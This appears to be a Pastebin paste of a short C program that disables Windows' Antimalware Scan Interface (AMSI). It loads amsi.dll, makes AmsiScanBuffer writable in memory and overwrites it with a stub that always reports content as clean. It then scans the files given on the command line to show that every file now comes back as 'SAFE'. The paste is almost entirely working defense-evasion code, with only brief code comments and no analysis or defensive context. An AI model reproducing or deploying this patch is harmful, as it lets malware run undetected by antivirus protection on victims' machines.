Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.58 KB | None | 0 0
  1. /**
  2. BSD 3-Clause License
  3.  
  4. Copyright (c) 2019 Odzhan. All rights reserved.
  5.  
  6. Redistribution and use in source and binary forms, with or without
  7. modification, are permitted provided that the following conditions are met:
  8.  
  9. * Redistributions of source code must retain the above copyright notice, this
  10. list of conditions and the following disclaimer.
  11.  
  12. * Redistributions in binary form must reproduce the above copyright notice,
  13. this list of conditions and the following disclaimer in the documentation
  14. and/or other materials provided with the distribution.
  15.  
  16. * Neither the name of the copyright holder nor the names of its
  17. contributors may be used to endorse or promote products derived from
  18. this software without specific prior written permission.
  19.  
  20. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
  21. AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  22. IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  23. DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
  24. FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  25. DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  26. SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
  27. CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  28. OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  29. OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  30. */
  31.  
  32. #include <windows.h>
  33. #include <amsi.h>
  34.  
  35. #include <stdio.h>
  36.  
  37. // fake function that always returns S_OK and AMSI_RESULT_CLEAN
  38. static HRESULT AmsiScanBufferStub(
  39. HAMSICONTEXT amsiContext,
  40. PVOID buffer,
  41. ULONG length,
  42. LPCWSTR contentName,
  43. HAMSISESSION amsiSession,
  44. AMSI_RESULT *result)
  45. {
  46. *result = AMSI_RESULT_CLEAN;
  47. return S_OK;
  48. }
  49.  
  50. static VOID AmsiScanBufferStubEnd(VOID) {}
  51.  
  52. static BOOL PatchAmsi(VOID) {
  53. BOOL patched = FALSE;
  54. HMODULE amsi;
  55. DWORD len, op, t;
  56. LPVOID cs;
  57.  
  58. // load amsi
  59. amsi = LoadLibrary("amsi");
  60.  
  61. if(amsi != NULL) {
  62. // resolve address of function to patch
  63. cs = GetProcAddress(amsi, "AmsiScanBuffer");
  64.  
  65. if(cs != NULL) {
  66. // calculate length of stub
  67. len = (ULONG_PTR)AmsiScanBufferStubEnd -
  68. (ULONG_PTR)AmsiScanBufferStub;
  69.  
  70. // make the memory writeable
  71. VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op);
  72.  
  73. // over write with stub
  74. memcpy(cs, &AmsiScanBufferStub, len);
  75.  
  76. patched = TRUE;
  77.  
  78. // set back to original protection
  79. VirtualProtect(cs, len, op, &t);
  80. }
  81. }
  82. return patched;
  83. }
  84.  
  85. typedef HRESULT (WINAPI *AmsiInitialize_t)(
  86. LPCWSTR appName,
  87. HAMSICONTEXT *amsiContext);
  88.  
  89. typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  90. HAMSICONTEXT amsiContext,
  91. PVOID buffer,
  92. ULONG length,
  93. LPCWSTR contentName,
  94. HAMSISESSION amsiSession,
  95. AMSI_RESULT *result);
  96.  
  97. typedef void (WINAPI *AmsiUninitialize_t)(
  98. HAMSICONTEXT amsiContext);
  99.  
  100. BOOL IsMalware(const char *path) {
  101. AmsiInitialize_t _AmsiInitialize;
  102. AmsiScanBuffer_t _AmsiScanBuffer;
  103. AmsiUninitialize_t _AmsiUninitialize;
  104. HAMSICONTEXT ctx;
  105. AMSI_RESULT res;
  106. HMODULE amsi;
  107.  
  108. HANDLE file, map, mem;
  109. HRESULT hr = -1;
  110. DWORD size, high;
  111. BOOL malware = FALSE;
  112.  
  113. // load amsi library
  114. amsi = LoadLibrary("amsi");
  115.  
  116. // resolve functions
  117. _AmsiInitialize =
  118. (AmsiInitialize_t)
  119. GetProcAddress(amsi, "AmsiInitialize");
  120.  
  121. _AmsiScanBuffer =
  122. (AmsiScanBuffer_t)
  123. GetProcAddress(amsi, "AmsiScanBuffer");
  124.  
  125. _AmsiUninitialize =
  126. (AmsiUninitialize_t)
  127. GetProcAddress(amsi, "AmsiUninitialize");
  128.  
  129. // return FALSE on failure
  130. if(_AmsiInitialize == NULL ||
  131. _AmsiScanBuffer == NULL ||
  132. _AmsiUninitialize == NULL) {
  133. printf("Unable to resolve AMSI functions.\n");
  134. return FALSE;
  135. }
  136.  
  137. // open file for reading
  138. file = CreateFile(
  139. path, GENERIC_READ, FILE_SHARE_READ,
  140. NULL, OPEN_EXISTING,
  141. FILE_ATTRIBUTE_NORMAL, NULL);
  142.  
  143. if(file != INVALID_HANDLE_VALUE) {
  144. // get size
  145. size = GetFileSize(file, &high);
  146. if(size != 0) {
  147. // create mapping
  148. map = CreateFileMapping(
  149. file, NULL, PAGE_READONLY, 0, 0, 0);
  150.  
  151. if(map != NULL) {
  152. // get pointer to memory
  153. mem = MapViewOfFile(
  154. map, FILE_MAP_READ, 0, 0, 0);
  155.  
  156. if(mem != NULL) {
  157. // scan for malware
  158. hr = _AmsiInitialize(L"AMSI Example", &ctx);
  159. if(hr == S_OK) {
  160. hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
  161. if(hr == S_OK) {
  162. malware = (AmsiResultIsMalware(res) ||
  163. AmsiResultIsBlockedByAdmin(res));
  164. }
  165. _AmsiUninitialize(ctx);
  166. }
  167. UnmapViewOfFile(mem);
  168. }
  169. CloseHandle(map);
  170. }
  171. }
  172. CloseHandle(file);
  173. }
  174. return malware;
  175. }
  176.  
  177. int main(int argc, char *argv[]) {
  178. int i;
  179.  
  180. if(!PatchAmsi()) {
  181. printf("unable to patch Amsi.\n");
  182. return 0;
  183. }
  184.  
  185. for(i=1; i<argc; i++) {
  186. // skip directories
  187. if(GetFileAttributes(argv[i]) & FILE_ATTRIBUTE_DIRECTORY) continue;
  188. // verify file
  189. printf("%-8s : %s\n",
  190. IsMalware(argv[i]) ? "HARMFUL" : "SAFE",
  191. argv[i]);
  192. }
  193. return 0;
  194. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement